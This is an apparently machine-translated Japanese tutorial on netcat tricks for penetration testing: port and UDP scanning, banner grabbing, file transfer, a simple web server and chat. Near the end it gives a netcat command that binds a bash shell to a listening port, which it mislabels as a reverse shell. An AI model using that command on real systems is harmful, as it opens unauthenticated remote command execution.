
この記事では、人気のあるnetcatネットワークユーティリティと、それを使用する際の便利なトリックを確認します。
Netcatは、TCPおよびUDP接続の確立、そこからのデータの受信、および送信を可能にするUnixユーティリティです。 その有用性とシンプルさにもかかわらず、多くの人はそれを使用する方法を知らず、当然それをバイパスします。
このユーティリティを使用すると、侵入テスト中にいくつかの手順を実行できます。 これは、インストールされたマシンにインストールされたパッケージがない(または注意を引く)、制限がある場合(たとえば、IoT /組み込みデバイス)などに便利です。
netcatでできること:
- スキャンポート
- ポート転送
- サービスバナーを収集します。
- リッスンポート(逆接続のバインド);
- ファイルのダウンロードとアップロード。
- 生のHTTPコンテンツを表示します。
- ミニチャットを作成します。
一般に、netcatを使用すると、unixユーティリティの一部を置き換えることができるため、このツールは特定のタスクを実行するための一種の組み合わせと考えることができます。
実用例
多くの場合、特定のホストを検証する必要がある場合、Telnetまたは独自のサービス部門を使用してホストまたはバナーを識別します。 netcatがどのように役立つか:
開いているTCPポート12345を確認します
$ nc -vn 192.168.1.100 12345
nc:192.168.1.100 12345(tcp)への接続に失敗しました:接続が拒否されました
$ nc -v 192.168.1.100 22
192.168.1.100 22ポート[tcp / ssh]への接続に成功しました!
SSH-2.0-OpenSSH
netcatを使用してTCPポートをスキャンします。
$ nc -vnz 192.168.1.100 20-24
このスキャンでは、ポートへの接続はなく、成功した接続の出力のみがあります。
nc:192.168.1.100ポート20(tcp)へのconnectxが失敗しました:接続が拒否されました
nc:192.168.1.100ポート21(tcp)へのconnectxが失敗しました:接続が拒否されました
0個の関連付けが見つかりました
1つの接続が見つかりました:
1:フラグ= 82 <接続済み、優先>
outif en0
src 192.168.1.100ポート50168
dst 192.168.1.100ポート22
ランク情報は利用できません
利用可能なTCP aux情報
192.168.1.100ポート22 [tcp / *]への接続に成功しました!
nc:192.168.1.100ポート23(tcp)へのconnectxが失敗しました:接続が拒否されました
nc:192.168.1.100ポート24(tcp)へのconnectxが失敗しました:接続が拒否されました
UDPポートをスキャンします。
nmapを使用してUDPポートをスキャンするには、ルート権限が必要です。 ない場合は、netcatユーティリティも役立ちます。
$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100ポート5555 [udp / *]への接続に成功しました!
UDPパケットの送信
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
これは、ネットワークデバイスと対話するときに役立ちます。
UDPポートでデータを受信し、受信したデータを出力する
$ nc -u localhost 7777
最初のメッセージの後、出力は停止します。 複数のメッセージを受け入れる必要がある場合は、trueを使用する必要があります。
$ while true; do nc -u localhost 7777; done
ファイル転送。 netcatを使用すると、ファイルを受信するか、リモートホストに転送できます。
nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt
最もシンプルなWebサーバーとしてのNetcact。
Netcatは、htmlページを表示するための最も単純なWebサーバーとして機能します。
$ while true; do nc -lp 8888 < index.html; done
http:// netcat host :8888 / index.htmlでブラウザを使用します。 80番のWebサーバーの標準ポートを使用するには、ルート権限でncを実行する必要があります。
$ while true; do sudo nc -lp 80 < test.html; done
サイト間のチャット
最初のノード(192.168.1.100):
$ nc -lp 9000
2番目のノード:
$ nc 192.168.1.100 9000
コマンドの実行後、いずれかのノードのターミナルウィンドウに入力されたすべての文字は、別のノードのターミナルウィンドウに表示されます。
リバースシェル
netcatを使用すると、便利な逆シェルを整理できます。
nc -e /bin/bash -lp 4444
これで、リモートホストに接続できます。
$ nc 192.168.1.100 4444
あきらめてはいけません。特定のツールがなく、多くの場合非常にかさばらない場合は、即興的な手段で問題を解決できる場合があります。